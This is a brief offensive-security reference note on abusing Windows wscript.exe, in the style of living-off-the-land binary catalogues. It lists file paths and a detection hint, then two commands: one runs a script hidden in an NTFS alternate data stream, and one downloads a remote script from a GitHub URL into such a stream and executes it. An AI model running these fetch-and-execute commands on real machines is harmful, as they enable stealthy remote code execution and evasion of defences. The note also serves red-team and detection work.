~/Privilege Escalation/Windows/Binaries# cat Wscript.exe.md

Used by Windows to execute scripts

Paths:

C:\Windows\System32\wscript.exe
C:\Windows\SysWOW64\wscript.exe

Detection: Wscript.exe executing code from alternate data streams

Alternate data streams

Execute script stored in an alternate data stream

wscript c:\ads\file.txt:script.vbs

Download and execute script stored in an alternate data stream

echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js